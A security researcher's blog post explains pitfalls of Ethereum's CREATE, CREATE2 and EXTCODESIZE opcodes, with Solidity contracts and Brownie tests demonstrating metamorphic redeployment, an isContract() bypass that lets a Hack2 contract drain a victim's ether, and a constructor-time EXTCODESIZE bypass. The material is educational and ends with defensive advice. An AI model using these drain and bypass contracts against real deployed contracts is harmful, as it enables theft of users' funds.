Pitfalls of using CREATE, CREATE2 and EXTCODESIZE opcodes

Author: Alexander Mazaletskiy
Security researcher at MixBytes
CREATE and CREATE2 Opcodes
As you know, in the EVM there are two opcodes to make a create and create2 smart contract from another smart contract. Such contracts are also called a factory.

Each of the opcodes has its own characteristics and pitfalls.
Let's see the differences between the CREATE and CREATE2 opcodes:

An important difference lies in how the address of the new contract is determined.

With CREATE the address is determined by the factory contract's nonce. Everytime CREATE is called in the factory, its nonce is increased by 1.

This approach is very controversial and the recent hack with Optimism was just related to this. https://rekt.news/wintermute-rekt/

With CREATE2, the address is determined by an arbitrary salt value and the init_code.

The big advantage of CREATE2 is that the destination address is not dependent on the exact state (i.e. the nonce) of the factory when it's called. This allows transaction results to be simulated off-chain, which is an important part of many state channel based approaches to scaling.
CREATE
  • Hashing the address of the account that created it.
  • Hashing the 'account nonce', which is equivalent to the number of transactions completed by the account so far.
    new_address = keccak256(sender, nonce);
CREATE2
  • 0xFF, a constant.
  • The address of the deployer, so the Smart Contracts address is the one that sends the CREATE2.
  • A salt is random.
  • The hashed Bytecode that will be deployed on that particular address.
    new_address = keccak256(0xFF, sender, salt, bytecode);
However, the activation of CREATE2 in EIP-1014 with the Constantinopol hard fork also raised security concerns.

If before Constantinopol the contract deployment model had 3 states:
"not yet deployed", "deployed", or "self-destructed",

then after Constantinopol there were 4 states:
"not yet deployed", "deployed", "self-destructed", "redeployed".

What does it mean? It means that the contract can be re-deployed to another bytecode using the CREATE2 opcode.

As a demonstration of this behavior, consider the Metamorphic Contracts.

More details and metamorhic contracts can be found here:
https://0age.medium.com/the-promise-and-the-peril-of-metamorphic-contracts-9eb8b8413c5e

Let's consider the most probable attack situation.
Attacks
Case 1. Redeploy with different bytecode
There are two different contracts ContractOne.sol and ContractTwo.sol.
Code
pragma solidity 0.8.16;


/**
 * @title ContractOne
 * @notice This is the first implementation of an example metamorphic contract.
 */
contract ContractOne {
  uint256 private _x;

  /**
   * @dev test function
   * @return value  1 once initialized (otherwise 0)
   */
  function test() external view returns (uint256 value) {
    return _x;
  }

  /**
   * @dev initialize function
   */
  function initialize() public {
    _x = 1;
  }

  /**
   * @dev destroy function, it allows for the metamorphic contract to be redeployed.
   */
  function destroy() public {
    selfdestruct(payable(msg.sender));
  }
}
pragma solidity 0.8.16;
/*
 * @title ContractTwo
 * @notice This is the second implementation of an example metamorphic contract.
 */
contract ContractTwo {
  event Paid(uint256 amount);

  uint256 private _x;


  function initialize() public {
  }
  /**
   * @dev Payable fallback function that emits an event logging the payment.
   */
  receive () external payable {
    if (msg.value > 0) {
      emit Paid(msg.value);
    }
  }

  /**
   * @dev Test function
   * @return value  0 - storage is NOT carried over from the first implementation.
   */
  function test() external view returns (uint256 value) {
    return _x;
  }
}
Attack
test/test_metamorphic_contracts.py
import pytest
from brownie import ContractOne, ContractTwo

init_code_hash = '0x5860208158601c335a63aaf10f428752fa158151803b80938091923cf3'

def test_deploy(sender, metamorphic):

    assert metamorphic._metamorphicContractInitializationCode() == init_code_hash
    
    # deploy ContractOne
    tx = metamorphic.deployMetamorphicContract(sender.address + '000000000000000000000000', ContractOne.bytecode, '0x8129fc1c', {"from": sender})

    deployed_address = tx.events['Metamorphosed']['metamorphicContract']

    deployed_contract = ContractOne.at(deployed_address)

    assert deployed_contract.test() == 1
    
    # self-destruct ContractOne
    deployed_contract.destroy({"from": sender})
    
    # deploy ContractTwo
    tx = metamorphic.deployMetamorphicContract(sender.address + '000000000000000000000000', ContractTwo.bytecode, b"", {"from": sender})

    deployed_address_new = tx.events['Metamorphosed']['metamorphicContract']

    deployed_contract_new = ContractTwo.at(deployed_address_new)

    assert deployed_contract_new.test() == 0
    
    # contract redeployed
    assert deployed_address == deployed_address_new
Case 2. Deploy bytecode to a predefined address
Suppose there is a certain address. Using the EXTCODESIZE opcode, it is possible to verify whether the address is an EOA or a smart contract.
Code
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;

contract Target2 {
    function isContract(address account) public view returns (bool) {
        // This method relies on extcodesize, which returns 0 for contracts in
        // construction, since the code is only stored at the end of the
        // constructor execution.
        uint size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

}
contract SimpleContract2 {
    bool public isContract;
    address public addr;
    address public target;
    uint256 public balance;

    receive () external payable {
        if (msg.value > 0) {
            balance += msg.value;
        }
    }


    // When a contract is being created, code size (extcodesize) is 0.
    // This will bypass the isContract() check.
    constructor(address _target) payable  {
        target = _target;
    }

    function setAddr(address _addr) external {
        require(!Target2(target).isContract(_addr), "no contract allowed");
        addr = _addr;
    }
        
    // Sweep ether from the contract only for user
    function sweep(uint256 _value) external {
       require(msg.sender == addr, "no allowed address");
       
        // if we have balance sent to user
       if (balance <= _value) {
            _value = balance;
       }

        if (_value > 0) {

            balance -= _value;

            (bool sent,) = payable(addr).call{value: _value}("");
        }
    }
}
contract Hack2 {
    address public hacker;

    function setHacker(address _hacker) external {
        hacker = _hacker;
    }

    receive () external payable {
        if (msg.value > 0) {
            payable(hacker).send(msg.value);
            (bool success, bytes memory data) = msg.sender.call(abi.encodeWithSignature("sweep(uint256)", msg.value));

            require(success, "no success");
        }
    }

    function drain(address _contract) external {
        (bool success, bytes memory data) = _contract.call(abi.encodeWithSignature("sweep(uint256)", 0.1 ether));

        require(success, "no success");
    }
}
This code does the following (do not use the example in production, this is just a demonstration of a potential attack):

  1. Sets an EOA address that can withdraw ether from the contract using setAddr which means the address is not a smart contract.
  2. Allows you to withdraw ether for the installed addr.
Attack
test/conftest.py
import pytest

from brownie import Target2

@pytest.fixture
def target_2(Target2, sender):
    target_2 = sender.deploy(Target2)

    yield target_2


@pytest.fixture
def target_2(Target2, sender):
    target_2 = sender.deploy(Target2)

    yield target_2
test/test_create2_is_contract.py
from brownie import SimpleContract2, Hack2
from brownie.network import accounts

init_code_hash = '0x5860208158601c335a63aaf10f428752fa158151803b80938091923cf3'


def test_hack_2(sender, metamorphic, target_2, hacker_1, hacker_2, SimpleContract2, Hack2):
    
    # get Addr
    addr = metamorphic.findMetamorphicContractAddress(sender.address + '000000000000000000000000')

    sender.transfer(addr, "1 ether")

    addr_account = accounts.at(addr, force=True)

    assert addr_account.balance() == 1e18
    
    # deploy SimpleContract2
    simple_contract_2 = sender.deploy(SimpleContract2, target_2.address)
    
    # set Addr as addr as EOA
    simple_contract_2.setAddr(addr)
    
    # deploy code to addr
    tx = metamorphic.deployMetamorphicContract(sender.address + '000000000000000000000000', Hack2.bytecode, b"", {"from": sender})

    deployed_addr = tx.events['Metamorphosed']['metamorphicContract']

    assert deployed_addr == addr

    deployed_addr_account = accounts.at(addr, force=True)

    assert deployed_addr_account .balance() == 1e18

    hack_2 = Hack2.at(deployed_addr)

    hack_2.setHacker(hacker_1, {"from": sender})

    sender.transfer(simple_contract_2, "1 ether")

    balance_hacker_1_before = hacker_1.balance()
    
    # drain SimpleContract2
    tx = hack_2.drain(simple_contract_2, {"from": hacker_2})

    simple_contract_2_account = accounts.at(simple_contract_2, force=True)

    assert simple_contract_2_account.balance() == 0
    
    balance_hacker_1_after = hacker_1.balance()

    assert balance_hacker_1_before < balance_hacker_1_after
EXTCODESIZE
In the example above, the code uses the isContract() function, which in its turn uses the EXCODESIZE opcode.
function isContract(address account) public view returns (bool) {
        uint size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }
The idea is straightforward: if an address contains code, it's not an EOA but a contract account.

However, the a contract does not have a code available during the construction.
Example
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;

contract Target1 {
    function isContract(address account) public view returns (bool) {
        // This method relies on extcodesize, which returns 0 for contracts in
        // construction, since the code is only stored at the end of the
        // constructor execution.
        uint size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    bool public pwned = false;

    function protected() external {
        require(!isContract(msg.sender), "no contract allowed");
        pwned = true;
    }
}

contract FailedAttack1 {
    // Attempting to call Target.protected will fail,
    // Target block calls from the contract
    function pwn(address _target) external {
        // This will fail
        Target1(_target).protected();
    }
}

contract Hack1 {
    bool public isContract;
    address public addr;

    // When a contract is being created, code size (extcodesize) is 0.
    // This will bypass the isContract() check
    constructor(address _target) {
        isContract = Target1(_target).isContract(address(this));
        addr = address(this);
        // This will work
        Target1(_target).protected();
    }
}
Security recommendations
Unfortunately, at the moment, there is no single way to prevent attacks using create2. However, one possible way to secure the system would be to use the EXTCODEHASH bytecode and create a whitelist of bytecodes based on the received hashes.
Reading more about this is here.

Be careful with EXTCODESIZE for checking external calls.
Conclusion
The use of CREATE and CREATE2 provides great opportunities for creating contract factories, but also fraught with great dangers.

CREATE2, which should be better than CREATE, has created even more problems.

Using EXTCODESIZE to prevent smart contract attacks is not a secure solution.
Links
CREATE, CREATE2
Deep into CREATE2
Metamorphic contracts
EXTCODESIZE
EXTCODEHASH
Other posts